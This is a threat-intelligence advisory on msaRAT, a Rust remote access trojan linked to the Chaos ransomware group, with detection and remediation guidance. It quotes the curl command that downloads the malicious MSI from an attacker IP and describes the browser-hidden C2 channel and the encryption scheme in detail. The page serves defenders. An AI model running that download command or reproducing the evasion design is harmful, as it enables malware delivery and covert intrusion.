msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to Chaos Ransomware RaaS

msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to (TL-2026-1694) is a high-severity malware campaign, first published 2026-07-25. It is attributed to Chaos Ransomware-as-a-Service Group with medium confidence, affects Microsoft Windows (enterprise endpoints), maps to 29 MITRE ATT&CK techniques (T1012, T1021.004, T1027), and is covered by 9 detection rules and 53 indicators of compromise.

Key facts for TL-2026-1694

Threat ID
TL-2026-1694
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-07-25
Last reviewed
2026-07-25
Attribution
Chaos Ransomware-as-a-Service Group
Attribution confidence
MEDIUM
Motivation
FINANCIAL
Target sectors
enterprise, health, education, public safety, energy, government administration
Target regions
united states of america, united kingdom, new zealand, india
Detection rules
9
Indicators of compromise
53
Updates
2026-07-25 · revalidated 1× · latest source

Malware and tooling in msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to

Malware and tooling: BlackSuit ransomware, Chaos ransomware, Royal ransomware, msaRAT, AnyDesk, Chrome DevTools Protocol (CDP), GoodSync, Microsoft Quick Assist, OptiTune, ScreenConnect, Splashtop, Syncro RMM

Cisco Talos identified msaRAT, a Rust/Tokio-based remote access trojan that hides its entire C2 channel inside a legitimate headless Chrome/Edge browser process by controlling it via the Chrome DevTools Protocol, signaling through an abused Cloudflare Workers endpoint and relaying all traffic through Twilio TURN servers. The malware, delivered via vishing and spam email disguised as a Windows-update MSI, is attributed to the Chaos ransomware-as-a-service group — assessed with moderate confidence by Talos to be a rebrand of, or operated by former members of, the BlackSuit/Royal ransomware lineage following BlackSuit's July 2025 law-enforcement takedown — and has been active since at least February 2025, enabling double/triple-extortion ransomware operations against large organizations.

How msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to works

Cisco Talos disclosed msaRAT, a Rust-based remote access trojan built on the Tokio asynchronous runtime, whose name derives from four exported bindings found in the binary — msaOpen, msaClose, msaError, and msaMessage. msaRAT is deployed by the Chaos ransomware-as-a-service (RaaS) operation (a 2025 group distinct from the unrelated 2021 'Chaos' ransomware-builder family) as a post-compromise access and reconnaissance tool ahead of double-extortion ransomware deployment.

Delivery begins with vishing (voice phishing) or spam email that leads a victim to run 'curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi', fetching an MSI installer disguised as a Windows update over plaintext HTTP on port 443 — a choice that lets the traffic slip past protocol-aware inspection expecting TLS on that port. The MSI's custom action, CA_Run_EA2AEBC3, extracts the binary Bin_lib_EA2AEBC3 from the MSI Binary table and loads the payload DLL (lib.dll, the msaRAT implant) directly into memory rather than dropping a standalone RAT binary to disk.

The distinctive feature of the campaign is its C2 channel: msaRAT spawns its own instance of Chrome or Edge in headless mode (--headless=new, --remote-debugging-port), discovering the browser binary path via the registry when environment variables are unavailable, and controls it entirely through the Chrome DevTools Protocol (CDP), injecting JavaScript — stored in plaintext in the binary's .rdata section — that executes inside the browser. The RAT process itself never touches the network; every external packet originates from the legitimate, code-signed browser process (identifiable on the wire by a HeadlessChrome user-agent string), while the RAT-to-browser channel stays confined to 127.0.0.1 loopback.

The injected JavaScript retrieves connection configuration and performs WebRTC SDP offer/answer signaling through an abused Cloudflare Workers endpoint (is-01-ast.ols-img-12.workers.dev), spoofing Origin/Referer headers to resemble official Microsoft traffic. It resolves the host's external address via Google's public STUN service (stun2.l.google.com), then deliberately omits ICE candidates so that every connection is forced through Twilio's TURN relay (global.turn.twilio.com) instead of a direct peer-to-peer path — hiding the true C2 server behind Twilio's infrastructure. WebRTC DataChannels are named with a random 5-20 character alphanumeric string to resist static signature matching. Traffic is protected by two encryption layers: the browser-native WebRTC DataChannel DTLS layer, plus a second, malware-specific ChaCha20-Poly1305 layer keyed via ECDH, so the payload stays opaque even if the outer DTLS is stripped or inspected.

Attribution and lineage: Talos assesses with moderate confidence that Chaos is either a rebrand of the BlackSuit ransomware group or is operated by former BlackSuit members, itself the successor of the earlier Royal ransomware operation. The assessment rests on identical encryption command-line parameters (/lkey, /encrypt_step, /work_mode), matching ransom-note structure and theme, and an overlapping RMM toolset. BlackSuit's leak site and infrastructure were seized on 2025-07-24 in a DOJ-led action (publicly referred to as Operation Checkmate), with follow-on law-enforcement confirmations reported through 2025-08-11 — even though Talos separately observed Chaos-branded ransomware samples compiled as early as February, March, and May 2025, indicating the transition/overlap predates the public takedown announcement. Chaos affiliates are recruited on the Russian-language dark-web forum Ransom Anon Market Place (RAMP), where operators advertise an automated management panel for victim administration, payload deployment, and negotiation, and state (per their own recruitment posts) that affiliates should avoid BRICS/CIS countries, hospitals, and government entities — a stated policy that stands in some tension with independently reported Chaos victims spanning healthcare, education, public safety, energy, and government sectors, predominantly in the United States with additional incidents in the UK, New Zealand, and India.

Initial access into Chaos-affiliated ransomware intrusions (distinct from, but related to, the msaRAT-specific vishing/MSI vector) has also included spam floods combined with voice-based social engineering in which callers impersonate IT/help-desk staff and talk victims into launching Microsoft Quick Assist for hands-on-keyboard remote access, as well as opportunistic RDP exploitation. For persistence, Chaos affiliates have deployed legitimate RMM and remote-access software — AnyDesk, ScreenConnect, OptiTune, Syncro RMM, and Splashtop — and established reverse SSH tunnels to attacker-controlled infrastructure (observed: 45.61.134.36:443) for durable C2 access. Ahead of encryption, operators exfiltrate data using the legitimate file-sync tool GoodSync to upload victim data to cloud storage, and cover their tracks with PowerShell-driven clearing of Windows Security/System event logs and removal of endpoint security tooling.

The Chaos ransomware payload itself (as distinct from msaRAT) is a redesigned C++ encryptor compiled for Windows, VMware ESXi, Linux, and NAS platforms, appending a .chaos extension to encrypted files. It uses Curve25519 ECDH key exchange combined with AES-256 to generate and protect individual per-file encryption keys, supports configurable partial/intermittent encryption (default roughly 30% of file content, observed as high as ~40%) to speed large-scale encryption runs, and includes anti-analysis features such as hash-based debugger/VM detection and a custom 25-byte XOR key used to decrypt the ransom note text embedded in the binary. Observed ransom demands have reached $300,000 from a single U.S. victim, with dual outcomes offered: payment for a decryptor plus a 'detailed penetration overview' and deletion assurances, versus non-payment triggering data disclosure, DDoS threats, and notification of the victim's competitors/clients — consistent with a triple-extortion model. Talos notes the group's public leak site lists a relatively small number of named victims, primarily large organizations.

Talos released a ClamAV signature (Win.Downloader.ChaosRaas-10060321-0) and Snort rules (Snort 2: 1:66839, 1:66840, 1:66841; Snort 3: 1:66839, 1:301587) alongside its msaRAT analysis. BeaconBeagle queries against the disclosed msaRAT staging IP (172.86.126.18), the abused Cloudflare Workers signaling domain, and the separately reported reverse-SSH C2 IP (45.61.134.36) returned no additional correlation data at time of research.

MITRE ATT&CK techniques used in TL-2026-1694

Discovery

T1012 Query Registry

Lateral Movement

T1021.004 Remote Services: SSH

Defense Evasion

T1027 Obfuscated Files or Information; T1036.005 Match Legitimate Resource Name or Location; T1218 System Binary Proxy Execution; T1497 Virtualization/Sandbox Evasion; T1620 Reflective Code Loading; T1622 Debugger Evasion

Execution

T1059.001 Command and Scripting Interpreter: PowerShell; T1059.007 Command and Scripting Interpreter: JavaScript; T1204.002 User Execution: Malicious File

Command and Control

T1071.001 Application Layer Protocol: Web Protocols; T1090.002 Proxy: External Proxy; T1102.002 Web Service: Bidirectional Communication; T1105 Ingress Tool Transfer; T1219 Remote Access Tools; T1572 Protocol Tunneling; T1573.001 Encrypted Channel: Symmetric Cryptography; T1573.002 Encrypted Channel: Asymmetric Cryptography

Initial Access

T1133 External Remote Services; T1566.001 Phishing: Spearphishing Attachment; T1566.004 Phishing: Spearphishing Voice

stealth

T1218.007 System Binary Proxy Execution: Msiexec; T1684.001 Impersonation

Impact

T1486 Data Encrypted for Impact; T1657 Financial Theft

Exfiltration

T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage

defense-impairment

T1685 Disable or Modify Tools; T1685.005 Clear Windows Event Logs

Affected products and versions in msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to

  • Microsoft — Windows (enterprise endpoints)
    Vulnerable versions: all supported versions capable of running MSI installers and Chrome/Edge
  • Google — Chrome
    Vulnerable versions: abused via headless mode + remote debugging; not a Chrome vulnerability
  • Microsoft — Edge
    Vulnerable versions: abused via headless mode + remote debugging; not an Edge vulnerability
  • VMware — ESXi
    Vulnerable versions: Chaos ransomware C++ encryptor targets ESXi hosts/datastores; not a VMware vulnerability
  • Generic — Linux servers / NAS devices
    Vulnerable versions: Chaos ransomware encryptor also compiled for Linux and NAS platforms

Remediation for msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to

Immediate actions

  • Block egress to the disclosed msaRAT staging IP (172.86.126.18), the abused Cloudflare Workers signaling domain (is-01-ast.ols-img-12.workers.dev), and the reported reverse-SSH C2 IP (45.61.134.36) at the perimeter/proxy
  • Deploy the Cisco Talos ClamAV signature Win.Downloader.ChaosRaas-10060321-0 and Snort SIDs 1:66839/1:66840/1:66841 (Snort 2) plus 1:66839/1:301587 (Snort 3)
  • Hunt for chrome.exe/msedge.exe processes launched with --headless=new and --remote-debugging-port arguments, especially when the parent process is msiexec.exe or an installer
  • Alert on curl.exe or certutil.exe writing MSI files into C:\ProgramData, and on MSI custom actions named similarly to CA_Run_EA2AEBC3
  • Block or tightly restrict Microsoft Quick Assist (quickassist.exe) usage outside IT-initiated sessions, and train staff/help-desk to treat unsolicited inbound calls requesting remote-access tool installation as suspicious
  • Inventory and allowlist authorized RMM/remote-access software; alert on and block unauthorized installs of AnyDesk, ScreenConnect, OptiTune, Syncro RMM, or Splashtop

Workarounds

  • Disable or restrict Chrome/Edge remote-debugging capability via enterprise policy (e.g., the Chrome/Edge RemoteDebuggingAllowed policy) on endpoints where it is not required
  • Block outbound connections to global.turn.twilio.com and unexpected *.workers.dev subdomains from non-browser-update processes where feasible
  • Restrict PowerShell execution policy and enable Script Block/Module logging to detect anti-forensic log-clearing and defense-impairment commands

Longer-term hardening

  • Inspect traffic by actual protocol rather than by port number to catch plaintext HTTP disguised on port 443
  • Correlate browser telemetry (CDP remote-debugging ports, unexpected WebRTC connections) with installer and process-creation events via EDR
  • Restrict or tightly govern legitimate RMM and file-sharing tool usage, which Chaos affiliates abuse for lateral movement and exfiltration
  • Enforce phishing-resistant MFA and vishing-awareness training given Chaos's reliance on voice phishing, spam floods, and IT-impersonation social engineering for initial access
  • Monitor for reverse SSH tunneling and unexpected outbound SSH/tunneling traffic to non-corporate infrastructure
  • Track GoodSync and similar file-sync client installs/usage for unauthorized mass cloud uploads preceding encryption
  • Forward Windows Security/System event logs to a centralized, tamper-resistant collector so PowerShell-driven local log clearing cannot erase forensic evidence
  • Track RAMP and other RaaS-affiliate recruitment forum activity for chatter referencing the organization's sector or brand

Timeline of msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to

  • Earliest compiled samples of the redesigned Chaos C++ ransomware variant observed by Cisco Talos, marking the earliest known Chaos RaaS activity.
  • Additional Chaos ransomware samples compiled, per Talos sample-timeline analysis, indicating continued active development.
  • Further Chaos ransomware samples compiled, confirming sustained active development through Q2 2025, prior to the public BlackSuit takedown.
  • Cisco Talos publishes 'Unmasking the new Chaos RaaS group attacks,' assessing with moderate confidence that Chaos is a rebrand of BlackSuit or is run by former BlackSuit members, based on matching encryption command parameters, ransom-note structure, and RMM toolset.
  • A DOJ-led action publicly referred to as Operation Checkmate seizes the BlackSuit (Royal-lineage) ransomware group's leak site and infrastructure.
  • FBI/DOJ seize approximately 20.29 BTC (over $2.4M) tied to Chaos-affiliated actor 'Hors', per follow-on reporting.
  • The Hacker News reports Chaos RaaS publicly emerging in the wake of the BlackSuit takedown, citing a $300,000 ransom demand extracted from a U.S. victim.
  • The Hacker News article on Chaos RaaS's emergence is updated with additional reporting through August 11, 2025, reflecting ongoing law-enforcement confirmations.
  • BleepingComputer publishes coverage of the msaRAT browser-based C2 discovery.
  • The Hacker News publishes coverage summarizing the msaRAT C2 technique and Chaos ransomware attribution.
  • Help Net Security publishes coverage of the Cisco Talos msaRAT/Chaos report.
  • Cisco Talos publishes 'Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel,' detailing the malware, its browser-borne C2 chain, and releasing IOCs plus ClamAV/Snort detection signatures.
  • Cypro publishes a cyber bulletin summarizing the msaRAT/Chaos ransomware TTPs for defenders.
  • Security Affairs and CyberSecurityNews publish follow-on technical analysis of msaRAT and its detection guidance.

Update history for TL-2026-1694

Sources cited for msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to

Threats related to msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to

Detection coverage for TL-2026-1694

As of 2026-07-25, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1694 across Splunk SPL, Microsoft KQL and Sigma, covering 53 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats